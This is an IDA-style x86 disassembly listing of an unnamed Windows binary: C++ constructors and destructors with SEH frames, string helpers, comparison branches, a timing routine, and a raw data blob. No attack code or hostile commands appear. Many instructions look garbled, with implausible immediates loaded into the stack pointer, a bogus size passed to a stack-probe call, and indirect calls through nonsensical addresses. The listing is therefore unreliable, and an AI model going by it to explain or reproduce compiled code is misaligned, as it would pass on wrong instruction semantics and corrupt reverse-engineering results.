		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_401622
		mov	ebp, eax
		push	1
		push	5CBB92h
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011C2
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_401479
		push	eax
		mov	ecx, esi
		call	sub_401479
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_4010FF
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_4011F9
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410D1D:				; CODE XREF: sub_4108D0+3C2j
		lea	ecx, [edi+159h]
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_410E22
		push	2E5DC9h
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ebp, eax
		push	572EE4h
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_401622
		mov	ebx, eax
		push	6B9772h
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_401622
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_401726
		push	eax
		mov	ecx, esi
		call	sub_401726
		push	eax
		mov	eax, ds:dword_43FF8C
		push	eax
		add	edi, 0FFFFFFEFh
		push	75CBB9h
		push	edi
		call	sub_401CDA
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_4011F9
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_4011F9
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		jmp	short loc_410E22
; ---------------------------------------------------------------------------


loc_410DF9:				; CODE XREF: sub_4108D0+3Aj
					; sub_4108D0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		call	dword ptr ds:7AE5DCh
		mov	ebp, 0BD72Eh
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_4014CE


loc_410E22:				; CODE XREF: sub_4108D0+FDj
					; sub_4108D0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_4108D0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_410FA0:				; CODE XREF: sub_401C12j
		push	0FFFFFFFFh
		push	5EB97h
; ---------------------------------------------------------------------------
		db 64h
dword_410FA8	dd 0A1h			; DATA XREF: _294ADE7B:004182FEr
		dd 89645000h, 25h, 40EC8300h, 8DF18B56h, 0C72C244Ch, 82444h
		dd 0E8000000h, 0FFFF0403h, 4C8DC033h, 44890424h, 548D0C24h
		dd 44890C24h, 89511024h, 52182444h, 20244489h, 5018468Bh
		dd 582444C7h, 1, 102444C7h, 10h, 0F5CB15FFh, 4C8B0042h
		dd 548B1324h, 448B1224h, 0E1811124h, 0FFh, 244C8B51h, 0FFE28114h
		dd 25000000h, 0FFh, 0FFE18152h,	50000000h, 24548D51h, 7AE5682Ch
		dd 0FF520021h, 50BD7215h, 18C48300h, 2C244C8Dh,	285EB968h
		dd 516E800h, 5C68FFFFh,	8D00542Fh, 0E830244Ch, 0FFFF095Eh
		dd 1C24448Dh, 2C244C8Dh, 950E850h, 0AE68FFFFh, 8D002A17h
		dd 0E830244Ch, 0FFFF0942h, 8D28C683h, 562C244Ch, 0FF05A7E8h
		dd 0BD768FFh, 4C8D0015h, 27E83024h, 8DFFFF09h, 511C244Ch
		dd 0FF0387E8h, 4C483FFh, 774C084h, 0A85EB68h, 6805EB00h
		dd 4542F5h, 30244C8Dh, 0FF0901E8h, 24748BFFh, 24548D54h
		dd 0CE8B522Ch, 0FF03A6E8h, 2444C7FFh, 108h, 244C8D00h
		dd 2444C62Ch, 1AE8004Ch, 8BFFFF01h, 8B44244Ch, 89645EC6h
		dd 0Dh,	4CC48300h, 900004C2h, 3	dup(90909090h),	18h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_411160	proc near		; CODE XREF: sub_401514j

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		call	dword ptr ds:62A17Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_4111BE
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	dword ptr ds:3150BDh
		mov	ebx, 0A18A85h
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_4014CE
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4111BE:				; CODE XREF: sub_411160+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_411160	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4111F0	proc near		; CODE XREF: sub_401CDAj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 8D0C54h
		call	sub_430390
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	offset word_46862A
		push	edx
		call	dword ptr ds:234315h
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_401514
		add	esp, 2000h
		retn
sub_4111F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_411260:				; CODE XREF: sub_4010FFj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	51A18Ah
		push	eax
		mov	al, [esp+10h]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_411297
		xor	al, al
		pop	esi
		mov	ecx, [esp+30h]
; ---------------------------------------------------------------------------
dword_41128A	dd 0D8964h		; DATA XREF: sub_40B260+1Dr
		align 10h
		dd 3CC48300h
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------


loc_411297:				; CODE XREF: _294ADE7B:00411281j
		lea	ecx, [esp+4]
		call	sub_4013CF
		mov	al, [esp+48h]
		mov	dword ptr [esp+3Ch], 0
		test	al, al
		jz	short loc_4112B8
		mov	eax, ds:dword_43FF58
		push	eax
		jmp	short loc_4112BF
; ---------------------------------------------------------------------------


loc_4112B8:				; CODE XREF: _294ADE7B:004112AEj
		mov	ecx, ds:dword_43FF60
		push	ecx


loc_4112BF:				; CODE XREF: _294ADE7B:004112B6j
		lea	ecx, [esp+8]
		call	sub_401564
		push	ebx
		lea	ecx, [esp+20h]
		call	sub_4013CF
		mov	edx, [esp+50h]
		mov	eax, [esp+54h]
		push	edx
		push	eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+48h], 1
		call	sub_401726
		push	eax
		lea	ecx, [esp+2Ch]
		push	68D0C5h
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+20h]
		call	sub_401479
		push	eax
		mov	ecx, esi
		call	sub_401514
		lea	ecx, [esp+20h]
		mov	bl, al
		mov	byte ptr [esp+40h], 0
		call	sub_4011F9
		lea	ecx, [esp+8]
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+38h]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411390	proc near		; CODE XREF: sub_40178Fj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	esp, 0E34686h
		call	sub_430390
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	71A343h
		push	edx
		call	dword ptr ds:78D1A1h
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_4010FF
		add	esp, 2000h
		retn
sub_411390	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411410	proc near		; CODE XREF: sub_401BEAj
		push	esi
		mov	esi, ecx
		call	sub_401E60
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_411410	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411440	proc near		; CODE XREF: sub_401E60j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	dword ptr ds:3C68D0h
		mov	ebx, 578D1h
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_4014CE
		pop	esi
		retn
sub_411440	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411480	proc near		; CODE XREF: sub_401686j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_411480	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4114B0	proc near		; CODE XREF: _294ADE7B:004018EDj
					; sub_401956j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401366
		test	[esp+4+arg_0], 1
		jz	short loc_4114C8
		push	esi
		call	sub_430332
		add	esp, 4


loc_4114C8:				; CODE XREF: sub_4114B0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4114B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4114E0	proc near		; CODE XREF: sub_401366j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	0ABC68h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_437028
		mov	dword ptr [esi+11h], offset off_437034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401A5F
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_4011F9
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401EC9
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4114E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4116A0	proc near		; CODE XREF: sub_401A5Fj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401677
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_40125D
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
sub_4116A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4116F0	proc near		; CODE XREF: sub_4010AAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	55E34h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401D2F
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401EE7
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_437038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4116F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_411770:				; CODE XREF: _294ADE7B:loc_40113Bj
					; _294ADE7B:00401659j
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_411788
		push	esi
		call	sub_430332
		add	esp, 4


loc_411788:				; CODE XREF: _294ADE7B:0041177Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4117A0	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	2AF1Ah
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_437038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401893
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401EC9
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4117A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411820	proc near		; CODE XREF: sub_401EE7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	(offset	loc_41578B+2)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4013CF
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_4013CF
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4013CF
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4013CF
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_4013CF
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_4013CF
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_4013CF
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4118E0	proc near		; CODE XREF: sub_401893j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	20ABC6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_4011F9
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_4011F9
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_4011F9
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4011F9
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_4011F9
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4118E0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4119A0	proc near		; CODE XREF: sub_401DC5j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	1055E3h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4018DE
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401726
		add	esi, 4
		push	eax
		push	esi
		mov	esp, 21055Eh
		call	sub_401523
		lea	ecx, [esp+28h+var_24]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+28h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_4119A0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_411A40:				; CODE XREF: _294ADE7B:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	1082AFh
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	loc_411D66
		push	ebx
		push	edi
		push	84157h
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_401622
		push	offset byte_4420AB
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_401622
		push	621055h
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_401622
		push	31082Ah
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_401622
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_401384
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_401384
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_401384
		mov	ecx, edi
		add	ebx, eax
		call	sub_401384
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_4011F9
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401CF8
		push	588415h
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_401622
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401CF8
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_401EAB
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_4011F9
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_4011F9
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_401EAB
		push	2C420Ah
		lea	ecx, [esp+2Ch]
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_411BC5
		xor	edi, edi


loc_411BC5:				; CODE XREF: _294ADE7B:00411BC1j
		push	562105h
		lea	ecx, [esp+2Ch]
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_411BDC
		mov	eax, 6AB108h


loc_411BDC:				; CODE XREF: _294ADE7B:00411BD5j
		push	3D5884h
		lea	ecx, [esp+2Ch]
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_411BF3
		mov	eax, 2DEAC4h


loc_411BF3:				; CODE XREF: _294ADE7B:00411BECj
		push	1EF562h
		lea	ecx, [esp+2Ch]
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_411C0A
		mov	esp, 0A1EF56h


loc_411C0A:				; CODE XREF: _294ADE7B:00411C03j
		push	58F7ABh
		lea	ecx, [esp+44h]
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_411C64
		test	edi, edi
		jnz	short loc_411C3A
		lea	ecx, [esp+10h]
		call	sub_401726
		push	eax
		mov	ebp, 0CD8F7Ah
		call	sub_4012B7
		test	eax, eax
		jz	short loc_411C64
		jmp	short loc_411C57
; ---------------------------------------------------------------------------


loc_411C3A:				; CODE XREF: _294ADE7B:00411C1Ej
		cmp	edi, 1
		jnz	short loc_411C64
		lea	ecx, [esp+10h]
		call	sub_401726
		push	eax
		mov	edi, 8CD8F7h
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_411C64


loc_411C57:				; CODE XREF: _294ADE7B:00411C38j
		push	0
		push	esi
		mov	edi, 23363h
		call	sub_40194C


loc_411C64:				; CODE XREF: _294ADE7B:00411C1Aj
					; _294ADE7B:00411C36j ...
		push	119B1h
		lea	ecx, [esp+44h]
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_411CB7
		test	edi, edi
		jnz	short loc_411C98
		lea	ecx, [esp+10h]
		call	sub_401726
		push	eax
		mov	esi, 260233h
		call	sub_40138E
		test	eax, eax
		jnz	loc_411D19
		jmp	short loc_411D0C
; ---------------------------------------------------------------------------


loc_411C98:				; CODE XREF: _294ADE7B:00411C78j
		cmp	edi, 1
		jnz	short loc_411D19
		lea	ecx, [esp+10h]
		call	sub_401726
		push	eax
		mov	esi, 0C36023h
		call	sub_40138E
		test	eax, eax
		jz	short loc_411D19
		jmp	short loc_411D0C
; ---------------------------------------------------------------------------


loc_411CB7:				; CODE XREF: _294ADE7B:00411C74j
		push	61B011h
		lea	ecx, [esp+44h]
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_411D19
		lea	ecx, [esp+10h]
		call	sub_401726
		push	eax
		call	dword ptr ds:30D808h
		add	esp, 4
		mov	ebx, eax
		call	sub_4015D2
		test	edi, edi
		jnz	short loc_411CED
		cmp	eax, ebx
		jz	short loc_411D19
		jmp	short loc_411D0C
; ---------------------------------------------------------------------------


loc_411CED:				; CODE XREF: _294ADE7B:00411CE5j
		cmp	edi, 1
		jnz	short loc_411CF8
		cmp	eax, ebx
		jnz	short loc_411D19
		jmp	short loc_411D0C
; ---------------------------------------------------------------------------


loc_411CF8:				; CODE XREF: _294ADE7B:00411CF0j
		cmp	edi, 2
		jnz	short loc_411D03
		cmp	eax, ebx
		jle	short loc_411D19
		jmp	short loc_411D0C
; ---------------------------------------------------------------------------


loc_411D03:				; CODE XREF: _294ADE7B:00411CFBj
		cmp	edi, 3
		jnz	short loc_411D19
		cmp	eax, ebx
		jge	short loc_411D19


loc_411D0C:				; CODE XREF: _294ADE7B:00411C96j
					; _294ADE7B:00411CB5j ...
		push	0
		push	esi
		mov	eax, 22C360h
		call	sub_40194C


loc_411D19:				; CODE XREF: _294ADE7B:00411C90j
					; _294ADE7B:00411C9Bj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_4011F9
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_4011F9
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_4011F9
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_4011F9
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_411D68
; ---------------------------------------------------------------------------


loc_411D66:				; CODE XREF: _294ADE7B:00411A79j
		mov	al, 1


loc_411D68:				; CODE XREF: _294ADE7B:00411D64j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411E70	proc near		; CODE XREF: sub_4015D2j
		call	dword ptr ds:1961B0h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_411E70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411EB0	proc near		; CODE XREF: sub_401E97j

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	0CB0D8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_401190
		lea	ecx, [esi+4]
		call	sub_4016A9
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_4016A9
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401DCA
		lea	ecx, [esp+20h+var_11]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_40178A
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 3
		mov	dword ptr [esi], offset	off_437044
		call	sub_40184D
		mov	ecx, ebx
		call	sub_401B45
		mov	ecx, [esp+20h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
sub_411EB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411F80	proc near		; CODE XREF: sub_401BD6j
					; _294ADE7B:00401CDFj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401B72
		test	[esp+4+arg_0], 1
		jz	short loc_411F98
		push	esi
		call	sub_430332
		add	esp, 4


loc_411F98:				; CODE XREF: sub_411F80+Dj
		mov	eax, esi
		pop	esi
		retn	4
